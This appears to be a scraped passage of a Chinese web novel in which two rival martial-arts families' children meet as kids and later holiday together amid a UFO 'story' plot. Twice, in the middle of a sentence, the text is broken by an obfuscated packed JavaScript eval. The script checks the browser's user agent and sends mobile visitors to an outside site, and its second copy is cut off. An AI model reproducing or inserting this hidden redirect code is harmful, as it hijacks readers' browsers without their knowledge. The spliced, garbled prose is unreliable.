两个小孩争论着争论着,就争论偏了,话题逐渐转向了“是林家飞鹤腿更强,还是新家凌雪剑法更强”。 林新两家的小孩各不示弱,都宣称是自己家的武功更厉害。 “那来打一场吧!你能打赢我,我就说你林家的飞鹤腿更厉害!你要是输了,你就要说是我新家的凌雪剑法更厉害!” 新圆柱气鼓鼓地约了架。 林清原看着他身边围着的一群喵喵叫的小猫,却没了打架的心思。 她“嘿嘿”笑了起来:“算啦,我今天是来新家做客的,和平为贵。这里有鱼塘吗?有的话我带你去抓鱼,抓来鱼给猫猫吃!” 新圆柱迟疑了:“鱼塘没有……但是厨房里养的有几池鱼。” 接下来林清原在新圆柱的带领下去了厨房。 厨房里的人见到新圆柱,本想打招呼,就见到后者拼命地使眼色,表情慌张到甚至眼睛都抽筋了。 他们虽然摸不清新记明的意思,却也懂了“不要多说话”,于是在听了二者捉鱼的来意后,就带她们去了鱼池边。还留了两人看着,免得两个小孩一不注意淹水里了。 林清原家里有鱼塘,她从更小的时候就很喜欢去鱼塘里扑腾,对于捉鱼这方面也算是很有经验了。所以在面对眼前这动辄十几斤的大鱼,她也毫不害怕,精准找到几条较小的,就撒了饵料,在一旁举着捞鱼网,看准时机一下子扣中了。 旁边候着的人也及时上前稳住了林清原的网鱼杆,顺利将鱼捞了上来。 看到地上活蹦乱跳的鱼,新圆柱眼睛都亮了。 他学着林清原的样子撒鱼饵、举鱼网、抓大鱼—— “啊啊啊——” 可惜新圆柱用力过猛,看准鱼群的缝隙就一头栽了进去。 林清原眼疾手快地抓住了他的衣领,和赶来的其他人一起把他拉了上来。 新圆柱身上湿了水,粘了土,脖子也被衣领勒出一道显眼的红痕,整个人看起来狼狈极了。 他愣愣坐了几秒,没忍住哭了起来。 林清原挠着头叹了口气。 新圆柱哭了一会儿就停住了,他对林清原说:“你教我怎么抓鱼吧?” 林清原被刚才的小变故吓住了,这会儿怎么都不敢教她了。 新圆柱不肯放弃:“我拜你为老师!” 林清原摇头:“不行,你要是当我弟子,就要学我家的飞鹤腿。” 新圆柱的脑袋又想起了林新两家的“争斗”,说:“那我也可以教你凌雪剑法啊!” 林清原撇了撇嘴:“得了吧,你连抓鱼都不会,凌雪剑法肯定也没什么好学的,我才不要学!” 新圆柱“哇”的一声蹦起来,指着林清原大喊:“你肯定是怕了!” 几次三番被挑衅,林清原也忍不了了。她应了战:“打就打,谁怕谁!” 厨房的人围成一圈,连路过的人都来凑热闹了。闹哄哄的给两个小孩腾出来打架的场地。 为了保证安全,新圆柱拿的是个充气型的玩具剑。 大战一触即发。 新圆柱先动,提剑就刺了上去。 林清原脚步一扭,紧跟着一招高抬腿,直直地挑开剑身。 新圆柱见状,手腕一弯再一送,玩具剑就顺力绕开林清原的腿,再次刺向她的身体。 林清原软下后腰,手撑地翻起,就轻易躲过了这次的攻击。 ——不过林清原没有就此停下,她的手在地上旋了一圈,腿就缠上了新圆柱的身体。如果不是新圆柱体重太大,就能将她带倒在地了。 可惜了,体重大也有体重大的好处。 新圆柱只是叉开了腿,就稳住了身体。 林清原当机立断,起身跳开,数次位移,围着新圆柱转圈试探。 新圆柱屏气凝神,甩起玩具剑,在自己周身设下了剑式保护圈。 破绽就在一瞬间—— 林清原佯攻新圆柱的腿,在后者防御时双脚踢向她的后心,新圆柱就再也保持不住重心,向前摔倒在地。 林清原胜! 围观的人们爆发出了热烈的掌声和欢呼声。 林清原得意地扬起头,像只大公鸡一样巡场,雄赳赳地接受着赞美。 新圆柱沮丧地爬了起来。 她身上穿的粉色裙子已经彻底脏了,连原本干净的脸蛋上都有了灰灰的土。 她走到林清原身边,抿了抿嘴,说:“飞鹤腿就是厉害!不过我新家的凌雪剑法也不差!” 赢了胜利的林清原心情很好,对新圆柱很是宽容。 “嗯!凌雪剑法也好!” 新圆柱抿嘴笑了一下,眼睛又变回亮晶晶的了:“那你教我抓鱼吧!” 林清原眼珠一转,笑道:“那不行,我只教我的小弟怎么抓鱼!” “那我当你小弟!” 林清原叉起腰:“我不收你,我以后要组建一个特别特别厉害的队伍!等你变得更强了,才能让你进我队伍里!” 新圆柱抱起拳,一个劲儿地晃:“求求你了,让我进你的队伍里吧!我很强的!” “可是你都没有打过我。” 新圆柱涨红了脸:“那……那是因为我今天吃多了,行动不那么迅速罢了!” 她又苦苦哀求:“求求你啦!让我加入你的队伍吧!老大!我想学抓鱼!” 还未完全散去的厨房的人听了这些话,都悄悄地笑了起来。 两个小孩玩得正开心,还是不要去打扰她们了。 林清原突然想起了一件事,问:“现在几点了?” 新圆柱茫然地看了看儿童手表:“11点14了。” 林清原打算离开了。“我要去找我爸妈了!今天中午要和新家人吃饭呢!我都好久没见明阿姨了!” 新圆柱抓住她的手不让她走:“你就答应我让我加入你的队伍吧!” 林清原想起了只闻其名不见其面的新记明,松口了:“那你和你表哥新记明说!让他过来和我打一架!只要他也承认飞鹤腿的厉害,我就让你进我的队伍!” 新圆柱脸色一僵。 她作为“新记明表妹”,输了便输了,但要是以“新记明本人”的身份再打输了架,那可是就真要承认林家飞鹤腿更胜一筹了啊! 虽然新记明和林清原此时不过五岁,谁输谁赢其实算不上林新两家的武功纷争,但是两家小孩都是从小听自家长辈互不服输地“贬低”另一家的,真要再输一次,新记明是万万接受不了的! 就这样,新圆柱越想越不甘心,她抽噎着,大哭了起来。 她边哭边拿脏手抹泪,几下就把脸抹花了。 “林清原!我……我讨厌你!呜呜……你这个大坏蛋!大笨蛋!呜呜呜……你等着吧!我一定会打败你的!我……我不吃那么多饭了!我一定会堂堂正正赢过你的!呜呜呜……” 林清原又一次被震惊了。 怎么新圆柱又哭了?! 这回不论她怎么哄也哄不好了。 想了想,林清原往厨房那边跑去了。 就在新圆柱哭得直打嗝的时候,“啪”的一声,有什么重物落在了脚边,溅了她一脸水。 她睁开泪眼,低头一看,是一条跳来跳去的大鱼。 她抬头,看到的是林清原灿烂的笑脸: “好啦圆柱,不要哭了,我又给你抓了一条鱼!送给你啦!” 说完,林清原拍了拍新记明的脑袋,向她告别:“我真要走了,时间要来不及了。中午的饭局你也会来的吧?到时候见咯!” 新记明愣愣地看着林清原跑走的背影。 阳光灿烂,鱼水沉腥。女孩儿那雀跃的身影伴随着微风深深地烙在了他的心里,成了他一辈子也忘不掉的记忆。 “……呵呵呵,对对,当时那两个小家伙玩的可好了,我听厨房的人说,她俩还比赛抓鱼呢!” 明娇和吕熙音谈起两家小孩小时候的趣事,越说越多,话匣子根本合不上。 吕熙音笑着喝了口茶,回忆道:“可惜当时圆柱发烧了,没能一起吃饭。小鹤后来还一直问我要圆柱的照片看呢。” 明娇很是无奈:“圆柱刚出生的时候身体不太好,请的大师说要当女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324268|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩儿养才行,所以一直养到五岁了,拍的照片也基本都是穿裙子的。他听说要给小鹤看他的照片,死活不愿意拿出去穿裙子的,最后也只能给小鹤看了他唯一一张穿小西服的照片了。” 吕熙音:“不过还好圆柱五岁之后身体就渐渐好起来了,咱们做妈妈的,孩子身体好了,也放心多了。” 明娇点点头:“是啊,他那天突然发烧,可能是和小鹤玩得太疯了,还跑去抓鱼落了水,又哭哭啼啼的回来了,才会被刺激到了。好在那次病过以后,他练武练得更勤奋了,个子也慢慢抽条了,体质就好很多了。” 吕熙音笑得停不下来:“就是小鹤总是会问:‘妈妈,新圆柱呢?那个妹妹很可爱,还想和她一起玩!’” 明娇也哈哈大笑:“圆柱回来之后三令五申,让我们不要告诉小鹤他就是‘他表妹’,这才和你商量了,瞒一瞒小鹤。不然小鹤要是知道了她不仅没有妹妹,反而见到的是个哥哥,怕是再也不愿意和圆柱玩了。” 吕熙音深以为然:“是呀。后来小鹤来和圆柱玩,虽然见不到‘妹妹’有些伤心,但是和‘哥哥’玩的关系还不错呢。就是后来孩子们大了,学业忙起来了,男人们又总是争些有的没的,压着孩子练武,才走动少了些。” 明娇狡黠地笑着:“还是咱们的麻将好玩。” 吕熙音也露出了一个狡黠的笑容:“还是咱们的麻将好玩。” 二人说着,麻将瘾上来了,决定约人搓麻将。 在等人齐的时候,吕熙音突然想起了一件事: “对啦,小鹤从上次的UFO里回来后,这星期打算去隔壁市呢。” “好啊,我今晚就把这个消息放到圆柱那边。” “记得悄悄的哦。” “当然。”明娇打着包票,“那小子收集的关于小鹤的信息都是从我这经手的,都十多年了,什么时候被他发现过?” 吕熙音“嘻嘻”笑着,丝毫没有“出卖女儿信息”的愧疚感,只有“参与坏事”的兴奋感。 “圆柱都悄悄关注小鹤十多年了,小鹤也终于从前几个月开始,再次主动问起圆柱的消息了。啊,真是美好啊。” 明娇看吕熙音一眼,就知道自己的好闺蜜此时在想什么。 “好磕吧?” 吕熙音连连点头,脸上泛起了可疑的红晕。“好磕,太好磕了!” 她拉着明娇讨论:“哎,你说,如果咱们放个假消息给圆柱,说小鹤去见她网恋对象了,会怎么样?圆柱是会变成阴郁小奶狗呢?还是会变成阴湿病娇呢?” 明娇揣测起自家儿子来也毫不怜惜:“吃醋傲娇王吧?他小时候还挺话多的,后来就全憋心里了,口是心非的笨蛋。” 吕熙音捧起脸:“嘿嘿,这种类型也很好吃啊。” 明娇早就从吕熙音那学到了很多。 “小太阳X傲娇鬼,确实很不错。” ——当晚。 新记明看着自己手中拿到的关于林清原的新信息。 林清原要去隔壁市见她的网恋对象? 他紧紧皱起眉头。 林清原要去隔壁市这件事,他是知道的。不过是为了完成下一个任务。 自万事屋从“长寿村”回来后,林清原就把对近期的“UFO长时间停留事件”的猜测向上级汇报了。 有了具体的方向,官方在处理这类事件和与外星人谈判的时候就有针对性多了。 很快,UFO长时间停留的情况就得到了极大的改善。 至于更明确的原因,万事屋几人还不知道,要等下一次开会才能了解。 总之,在林清原完成隔壁市的下一个任务后,此次的“UFO长时间停留事件”就不再是万事屋的管辖范围内了,就由官方团队全权接手了。 只是,新记明从没听说过林清原有个网恋对象啊。 [难道这消息是错的?可是不应该啊,这十几年收集到的信息,经过验证都是正确的啊。] 新记明百思不得其解。他想给林清原打电话问问情况,又踌躇了。 先不说他有没有立场去过问这件事,想起上次从畜村的UFO出来后发生的事,他就尴尬到不行,实在没有勇气再和林清原联系—— “怎么,以前你不是最想加入我的队伍了吗?圆柱?” 林清原的发问令旁人疑惑,令新记明呆滞。 “圆柱?是谁?”白仙贝问。 成柳挑起眉,心里有所猜测。 比利歪着头看脸逐渐变红的新记明。 林清原“啧啧”着摇头:“圆柱啊,我还是更喜欢你穿裙子的样子呢。” 白仙贝瞪大眼睛:“穿裙子?” 林清原笑眯眯地看着白仙贝,说:“是呀,某人小时候可喜欢穿裙子了呢,还是粉嘟嘟的,超萌哒!” 成柳识相地接话:“是吗?那很可爱了。” 比利把头歪向另一边,开心地吐着舌头。 林清原转过头,刚想继续调笑新记明,就发现他不见了。 “嗯?” 其他人也找不到新记明的身影了。 “跑这么快?” “汪汪汪。” 林清原摸了摸下巴:“嗯?你说没听到新记明离开的动静?那……” “是能力的副作用吗?” 成柳一下子就猜到了。 白仙贝疑惑道:“可是能力的副作用不是会随着通关次数的增多而减弱吗?” 成柳说:“应该说是‘对能力掌控的程度越高,能力的副作用在现实显现的影响越弱’。” 林清原表示赞同。 “换句话说,也可以是‘对副作用的掌控程度的增强’。” 白仙贝恍然大悟:“所以小新哥是主动‘隐身’的?” 林清原冷酷一笑,掏出手机拨通了新记明的电话。 下一秒,电话铃声在几人身旁响起。 林清原一把抓向了声音所在的地方:“科技的力量,小子。” 新记明挣脱不开,就干脆装作不在。 “没关系呀,你不现身,我就多讲一点你小时候的事咯。反正对上你的身份后,好多奇怪的事也能解释通了呢。比如啊……” 林清原故意拖长尾音,吊起在场人的胃口。 “别!” 新记明终于出声了。然后他嗫嚅道:“你们能不能先走远点儿?我等下去和你们汇合。” 林清原不放手。 “不要。为什么要我们走远了你才现身?” 她问完,就想到了一个可能性。 “难道说,你解除隐身的条件,是说中二话?” 回应她的是长久的沉默。 林清原脸上的笑容都要咧到耳朵边了。 “来嘛,别害羞啊,漆、黑、之、子?” 眼见躲不过去了,新记明超高速地小声念了一段“咒语”——在场的人没有全部听清,但是也听到了几个关键词:觉醒啊,禁锢啊,颤抖啊,仁慈啊什么的。 新记明现身的时候,脸已经红到了脖子根。 他东张西望,就是不看万事屋的几人。 “这次的任务已经完成了,我要先回去整理资料了,再见。” 说完,新记明就逃走了。他甚至没有等官方人员的接会。 回忆结束,新记明的脸又烧起来了。 他躺倒在床上,捂住了脸。 过了许久,他又坐了起来,给林清原发去了信息。 “你这周去隔壁市,除了任务以外,还有什么别的事吗?” 林清原很快回了消息。 “有点小事。” 新记明咽了口唾沫,又问: “要不我跟你一起去?有什么情况也能帮上忙。” “不用。你不能跟着。” 看到这句回复,新记明心里酸极了。他好想直接打电话过去问“为什么他不能跟着去”,但理智又克制了他这么做。 他看向窗外明亮的月亮,眼前浮现的是林清原的一颦一笑。他才发现,他和林清原的每一次的见面,竟然都早已被刻在了心里,每一处的细节都是清晰可辨,勾人心弦。 他终于承认,原来在不知不觉间,他已经喜欢上了林清原啊。 渐渐的,林清原的身影在月光中消退,新记明眼前看到的,只剩下了那年二人初见,小小的林清原那蹦跳离去的背影。 他的回忆、他的感情、他的情绪,都仿佛随着那个逐渐远去的背影远去了。 一瞬间的抽离,让新记明的思绪回到了寂寞的现实。 他伸出的手停在半空,最终颓然地垂下了。 55. 万事屋去度假啦! “哎,你觉不觉得,他俩有点儿情况?” 白仙贝捣捣成柳,附在他耳边悄声问。 那边林清原刚办好宠物登机手续[1],正蹲下身和笼子里的比利说话。新记明在不远处站着,沉默地看着。 “小新哥这两天在群里都不说话,今早见面之后也一句话不说,只盯着小鹤看。” 成柳抱起手臂,面色严肃:“是啊,老大和他打招呼,他也只是点头,一句话也不说。但是眼神又一直跟着老大走——” “绝对有情况!” 二人异口同声。 新记明的奇怪表现一直到下了飞机也没改善。 几人到了酒店后,随便垫了几口房间内的食物就各自换上了适合海岛游玩的衣服,打算等会儿吃过饭后直接去海里玩。 “走了,比利。” 林清原把在游泳池里玩水的比利喊上来,拿毛巾给它擦干身体后,系上牵引绳和嘴笼,就和同伴们出门了。 节日假期刚过,海岛的旅游热潮刚刚消退,正处于一个还很热闹但是并不拥挤的状态。 万事屋的这次旅游没有报团,由白仙贝和成柳合定了游玩攻略计划,全程消费则由林公子买单,怎么想都会是个很舒心的旅程。 成柳选的餐厅是当地的网红自助餐厅,评价很好,还能带宠物入内。 在等待餐厅开始营业的队伍中,比利安静扮演着“宠物”的角色,乖巧讨喜,互动有趣,吸引了一堆人过来摸摸合影。 林清原看着比利摇到飞起的尾巴,无奈地骂它:“小色狗!” 比利正玩的开心,它哼唧了几声,分给自家小主人一个讥诮的眼神后,就又投身进温柔乡里了。 林清原看向别处,白仙贝和成柳在有说有笑的,完全没分注意力过来。 她于是看向新记明,向他靠近了一些,刚准备说话,就见他状似无意地把目光移开,身体也向外移了一点。 林清原挑眉,又一跨步离得更近,新记明就又移得更外了。 林清原再跨步——新记明没动了,再动就离开队伍了。 他强装镇定地目视前方,尽力忽视身旁传来的热度。 林清原憋住笑,正准备说话,就听到队伍后面传来一句争吵: “随便你!没有你我又不是活不下去了!” 几人闻声看去,是个二十多岁的女孩儿和她身边的男人在吵架。 看上去两人是情侣关系,但是在女孩儿吼出那句话后,男人转身就走,女孩儿看着对方离去的背影,控制不住地掉眼泪。 她独自在队伍中站了一会儿,也离开了。 看离开的方向,和她男朋友离去的方向是相同的。 “该不会要去向她男朋友道歉求复合吧?” “唉,我有个朋友就这样,吵架的时候骂的狠,然后又跟舔狗一样求原谅,真是劝都不能劝,白惹一身骚。” “瞧那妞儿长得还不错,肯定是公主病又犯了。男的晾晾她,让她长长记性也好。” 队伍中议论纷纷。 没过多久,餐厅就正式开始营业了,人们很快就将这件小事抛到了脑后。 自助餐的味道还不错,林清原吃了一波又一波,白仙贝没吃完的也让她吃了。 在林清原起身打算继续拿冰淇淋的时候,新记明叫住了她: “等会儿还要下水,你已经吃很多了,冰淇淋也吃了很多,身体能受得住吗?” 林清原摸了摸胃:“没事儿,我今早特意加训了,就是为了中午多吃点儿。等会儿下水前我先消消食呗。” 她眼睛放光:“我爱冰淇淋!” 在一旁吃肉的比利抬起头:“汪汪汪!(我爱肉!)” 成柳吃完之后闲着刷手机,刷了一会儿,他“咦”了一声,然后往群里转了条委托链接。 林清原边吃边打开链接。 是个很普通的协作委托,难度看起来不高,给出的报酬也很普通。 白仙贝问:“这委托怎么了?” 成柳说:“你们看委托的定位,是咱们住的酒店。” 林清原没太在意。 “译者数量不少,能碰上也不奇怪。像之前那样的特殊UFO已经在监测范围内了,这附近不会出现。咱们在这也待不了几天,应该遇不到‘故事’。” 新记明点头:“而且咱们这次出来是度假的,不重要的工作就先放一边吧。” 他和成柳、白仙贝交换了一个心照不宣的眼神。 比利吃完就跳上了新记明的腿,咧着嘴巴笑得欢快。 之后大家就去了海边,比利在海里玩了一会儿,就沉迷在岸上翻沙子了。 白仙贝搂着林清原的腰,仰头吐了一大口海水。 她的脸红扑扑的:“呜呜,小鹤,好咸。” 林清原哈哈大笑:“想学会游泳,就是要呛呛水才行呢。” 她带着白仙贝在浅滩处蹬水,成柳在不远处幽怨地叹了口气。 新记明看了他一眼,又看了林清原一眼,也幽怨地叹了口气。 “新哥,你怎么了?” “你呢?” 成柳不甘心地鼓起身上的肌肉:“本来我想教贝贝学游泳,几个星期前就泡在健身馆了,就为了让身上的肌肉更好看,教她的时候让她更有安全感一些。除了出任务,我其余时候是一天都没停过啊。可惜……” 他悲伤地看向抱作一团的两个女孩儿,又叹了一大口气,身上美型的肌肉都似乎萎靡了。 新记明看了看林清原身上的肌肉,又看了看成柳身上的肌肉,拍了拍后者的肩膀:“小鹤的肌肉也很有安全感。你加油。” 成柳打量了一遍新记明的肌肉,和他不同,新记明的肌肉是精瘦型的,整个人看起来纤细又兼具力量感。 虽然他的肌肉也不是很夸张的那种大块,但是两个人站在一起,就能明显看出是两种锻炼风格。 “难道贝贝喜欢新哥你这样的肌肉?”成柳兀自揣测着,“老大也是这种薄肌,原来是因为这样吗?” 他的思绪已经转到“以后要不要少吃点饭”上了。 新记明叹息着摇头:“不,大概只是因为你是男的吧。” 成柳伤心地上岸和比利玩沙子去了。 新记明敛下自己的思绪,眼神不自觉地飘向林清原。 林清原扎了个丸子头,穿着一件黑白相间的连体泳衣,在腰侧开了洞,大方地展示出了她姣好的腰线和淡淡的腹肌。她使力托着白仙贝,胳膊和腿上的肌肉显现出精致的线条,在海浪的拍打下沾上诱人的水痕,荡漾着他的心。 看了一会儿,新记明脸色一僵,一闷头潜水里游远了。 十月的太阳还很毒辣,尽管已经提前涂了防晒油,但是在阳光正好的时候下海里玩了两个多小时,几人的皮肤还是被晒黑了,白仙贝甚至有些要被晒伤的征兆。 她们直接回了酒店,晚饭就直接预订了送到套房里。 收拾干净后,新记明、白仙贝和成柳三人去游戏房里打游戏去了,林清原带着比利出去遛弯—— 白天已经消耗了很多体力,遛不遛弯的其实不重要了。重要的当然是比利上厕所的需求。 林清原牵着比利,跟在它身后,随它心意四处走。 海边的落日也很美,林清原嗅着微咸的海风,心情无比放松。 自从知道UFO后,她许久没有这么惬意了。 万事屋成立以来,行事一直比较顺利,在官方和民间的双重宣传下,名气也打出的很快。他们几个人一边积攒经验,一边解决了众多委托和“故事”,成果斐然。 可是这些只是外在的吹捧。 钱,她不缺;名,她也不缺。她创立万事屋的唯一目的就是作为“暗线”,辅助官方“编译故事”,帮助民众解决危机。 万事屋接到的委托越多,她内心的压力就越重,因为这代表着“故事”还未完结,UFO还在地球上空威胁着人类的安全。 好在经过全世界译者的努力,目前“故事”的“总编译度”已经突破八十大关,希望的曙光已经可以预见。 在解决完上次的“持续性UFO长时间滞留事件”后,方室长那边也传来了新消息。 领导们和外星人再次创立了联系,确认UFO的长时间滞留是由于飞碟遭到了破坏,导致“故事收集系统”也受到了波及, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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拖着千斤重的石头走向断头台,这个过程中的压力是常人无法想象的。总会有人承受不住压力,在到达断头台前先一步自行斩首,但同样有人会踏着泥泞,接过留下的石头,背负着继续前行。 前方看似是死路,但在断头铡落下前,谁也不知道它砍下的是人类的头颅,还是身后的石头。 所以在完成一项大工程后,在投身之后更艰苦的战斗前,万事屋的大家需要喘口气。 每个人都需要喘口气,这样才能让自己疲惫的身体得到休息,不至于被勒石的绳索割断。 而且,明天是她的生日。 林清原露出了一个微笑。 10月9日,这是她的生日。 或许这是她最后一次生日了。她还活着,这已经是最大的宽慰了。 在上周,父母已经提前和她过了生日,庆祝着她又成长了一岁的同时,也给予了她鼓足勇气的信心。 和万事屋的大家相识仅仅只有几个月,带给她的羁绊却是一辈子也不会磨灭的。哪怕以后UFO真的退出了地球,万事屋也不会解散,大家永远都会是最好的朋友。 所以最起码,她想在她还能切实抓住幸福的时候,和万事屋的大家一起度过自己的生日。 正因如此,她才会在前几天去隔壁市过最后一个特殊任务的时候,又秘密去了另一个地方。 想起这几天新记明的别扭劲儿,林清原觉得实在是太好玩儿了。 他为什么会犯别扭,她心里一清二楚。 在和新记明成年后再见后,林清原就慢慢发现,对方对自己的了解简直到了一种精细的程度,连她都忘记了的一些经历,新记明都会知道。 明明他俩从十岁以后就再没有见过面了? 尽管新记明掩饰的很好,不小心暴露的时候转的话题也很自然,林清原还是默默记下了。 在经过她的调查后,她成功侦破了“林新两家掌门夫人互通子女信息”案件! 就这样,吕熙音和明娇在作为新记明的“间谍”的同时,也被林清原收入了麾下,成为了她打探新记明动向的“间谍”。 因此新记明误以为林清原去隔壁市是秘密见了“网恋对象”的这件事,林清原也知道。 新记明这家伙虽然傲娇,但是心思实在是太好猜了。 恶趣味的林清原逗起他来真是手拿把掐,各中乐趣不为人道也。 林清原见比利已经解决了生理需求,正打算去收拾,就听到身后传来了一句惊呼: “啊!万事屋!万事屋啊!” 56. 生日快乐! 林清原回头看去,发现是中午在餐厅排队时见过的那个和男朋友吵架了的女孩儿。 那女孩儿独自坐在树后,一直戳着手机没说话,直到刚才才惊呼出声。 林清原有些在意,但想着“万事屋”是个很常见的名字,也就没打算多问。 然而还没走开,又听女孩儿怒气冲冲地接起了电话: “你个傻B别来找我了,咱俩已经分手了!……老娘我就算死了又怎么样!不过一个破‘故事’!你知道谁接了我的委托吗?万事屋!……哈,你个傻B以为自己有多能耐啊?你上次‘故事’还是我跟个老妈子一样跟在你屁股后面赶着你去拿的线索,不然你连70的破译度都拿不到!滚吧!” 林清原拿出手机,重新点进链接,被提示“帖子已被删除”。 委托被接受后,二编原贴,或者删除原贴,都是很常见的事。 林清原现在已经基本确定,定位在同一家酒店的那个协作委托就是这个女孩儿发出来的。只是不知道这个原贴,到底是她没找到人接才删除的,还是有人假冒了“万事屋”的名字接下了? 事关万事屋的名声,林清原决定问问情况。 “你说万事屋接了你的委托?” 女孩儿听到问话声被吓了一跳,差点打翻手里的椰子。 女孩儿四处张望了一下,没见到其他人,才谨慎地打了个哈哈:“什么呀,我在说我写的小说呢!哈哈,刚才和编辑吵架了。” 林清原微微一笑,没有顺着她的谎往下说,而是直接挑明了:“万事屋不常接委托的,听说他们接委托的要求很挑剔。进‘故事’不比别的游戏,还是要好好核对信息才行。” 女孩儿愣住了,她呆呆地问:“‘译者’?” 林清原在她旁边坐下,比利也乖乖坐在一旁甩着尾巴。 “万事屋真的接了你的委托吗?我好好奇啊,我还没见过万事屋的人呢!” 比利的尾巴甩的更快了一些。 女孩儿放下了戒心,报上了自己的名字“徐然”。 “没有,我骗他的。万事屋那么有名,怎么可能会注意到我的委托。” 徐然面露向往:“不过万事屋的人是真帅啊——虽然我没有见过他们。可是他们接下的委托都是百分百好评啊!万事屋的人是真帅啊——虽然我没有见过他们。” 徐然的重复感慨把林清原逗笑了,她也学话: “万事屋的人是真帅啊!——虽然我没有见过他们。” 比利的尾巴甩得沙子漫天飞。 林清原锤了比利的狗头一下才让它老实点儿。 “我之前在餐厅排队的队伍里见过你,你当时正和你男朋……前男友吵架。” 徐然愤愤不平:“那家餐厅可好吃了!我早就被种草了!这次特意来吃的!结果那个狗男人,看排队的人多,就要换别的地方吃!平时我就依着他了,但是这次是我特意选的!怎么可能放弃!” 她问林清原:“你吃上了吗?” 林清原点点头:“吃上了。味道是挺好的。” 徐然哀嚎:“果然啊!偏偏预订的单子不好抢,现场来了才有机会排到!我中午竟然被气到失去理智了,就为了狗男人的几句话放弃了快要排到的美食!啊啊啊!狗男人克我!” 林清原没忍住笑:“那还好你分手了。” 徐然翻了个白眼,吐槽前男友的话是一波接一波:“我真的是服了,狗男人‘故事’里面要我一直帮他,‘故事’外面还要一直花我钱。要不是我太颜控,他那张脸又恰好长的还行,我会忍他那么久?” 比利“汪汪”了几声。 徐然笑眯眯地搓狗头:“哎呀狗狗好乖,好乖~” 林清原替比利翻译:“它问你怎么突然就不忍了?” 徐然晦气地啐了一口:“他平时都化妆,我想着男孩子化点妆,让自己形象好,这也挺好的嘛!结果这次来海岛之前,他不知道吃错什么了,脸上爆了痘,还不卸妆,我怕长时间带妆对他皮肤不好,让他卸掉,他就冲我发火!直到下了海,海水扑到他脸上,把他妆搞花了,我才发现他脸上有大片大片的刚修复过的整容痕迹!吓我一跳!” 她气得脸都红了:“软饭男一个,不会提供情绪价值就算了,连好看的脸都维持不住!狗男人!” 林清原突然发问:“他用的什么牌子的遮瑕?说出来避雷一下。” 徐然卡了几下,犹豫地回忆出了一个牌子。 林清原表示感谢:“好的已拔草。” 她又问:“那你离进‘故事’还有多久?” 徐然猜测:“还有两三个星期吧,我上星期刚从‘故事’里出来。” 林清原又和她聊了会儿,就道别了。 既然徐然刚从“故事”里出来没多久,那就应该不会这么快再次进去。反正万事屋在这里也只待三天,还是先把生日安稳度过吧。 遛弯溜的差不多了,林清原打算回酒店。没想到比利一看要回去,就撒泼打滚地赖着不肯走。 比利小小的身躯有着大大的力量,林清原根本拖不动它。 僵持了一会儿,林清原放开绳子,打算自己回去。 比利以迅雷不及掩耳之势叼住林清原的衣角,头往后一甩,就把她甩到了背上,然后驮着她疯狂地奔向远方。 林清原被颠簸下来两次,次次都被迅速地重新叼起甩回去。 被颠得话都说不出来的林清原觉得自己像个被流浪狗从垃圾堆看中带走的破布娃娃,不仅毫无反抗之力,身子也要断了。 在又一次被颠下狗背后,林清原终于忍不了了。她拔腿就跑,沉滞的砂滩阻挡不了她逃跑的步伐,只坚定了她奔向美好生活的决心。 她在身后留下了一长串飞沙,独余比利在远处无助狗叫。 林清原一直跑到酒店门口才敢停下。 她心有余悸地回头看比利有没有追上来,没看到它的身影,才松了口气。 她掏出手机,却惊讶地发现比利给她发了条消息。 是个“大哭”的狗子表情包。 林清原心下一软,后知后觉自己有些像负心汉。 她在“回房间”和“返回找比利”这两个选项中犹豫了一下,还是选择了后者。 再怎么说,也不能让比利一只狗留在外面。更何况比利一开始的表现,似乎是想带她去什么地方。 孩子玩性大,当家长的还能真扔了吗? 想到这,她给比利打了个电话,很快被接通。 比利委屈的汪叫声从对面传来,林清原假装没发生刚才的事,矫揉造作地问: “我的比利宝宝呀!你在哪儿呢?姐姐看到有卖烤肠的,比利宝宝吃不吃呀?” 比利哼唧了几声,和林清原约好在酒店门口汇合。 林清原回到前台,刷了自己总统套房的卡,顺利拿到了一根喷香的烤肠。 闻着烤肠的香味,她也馋了,就又要了几根,一根自己吃,剩下的送到房间,给其他人吃。 比利一看到在酒店门口啃着烤肠的林清原,就开开心心地蹦了过来,叼走了另一根烤肠。 它边吃,边眼睛滴溜溜地往酒店里面看。 “怎么了?”林清原问。 比利把剩下的烤肠两口吞下了肚,咧着嘴装糊涂:“汪汪!(好吃!)” 就在这时,林清原的手机收到了前台发来的消息: “林女士您好,烤肠以及其他食物已经送到了您的房间。但是房间内并没有人,于是我们在经过确认后开了门,将食物放到了餐厅的桌台上。如果您及其您的同伴在两小时内没有回来,为保证食物口感与安全,请勿食用,请与前台联系,我们会重新送上新的。祝您玩得开心!” 房间里没人? 林清原看着眼前的假装纯真小狗的比利,心里有了个猜想。 “啊,好累,你还要去哪儿玩儿吗?我不想走路了哎。” 比利义不容辞地趴下了身体,示意林清原坐上来。 林清原鼓了鼓掌:“骑狗啊,真不错!这么好玩的活动应该喊他们几个一起下来玩才对!我现在就喊他们下来!” 比利慌张地叫了几声:“汪汪汪汪汪!汪汪!汪!” 林清原笑眯眯地捏住了比利的嘴筒子:“哇,比利宝宝,你这么爱姐姐啊,只想跟我一起玩骑狗是吗?好乖好乖的乖宝哦~” 比利被恶心地浑身哆嗦,差点没忍住长啸。奈何嘴筒子在被捏着,强行闭了声,只能被迫谄媚地把尾巴摇成了螺旋桨。 林清原心情大好地跨上狗背,坐了几个姿势都觉得不太舒服——比利只是力气变大了,不是个子变大了,她不论怎么坐都只能憋屈地蜷着腿。 最终,在半夜还逗留在沙滩上的人看到了堪称人生奇景的一幕—— 一只边牧在沙滩上全速奔跑着,每一步都在身后留下了一个深深的小坑。它飘逸的长毛在灯光的照耀下闪着光芒,整只狗都看着威武俊逸。 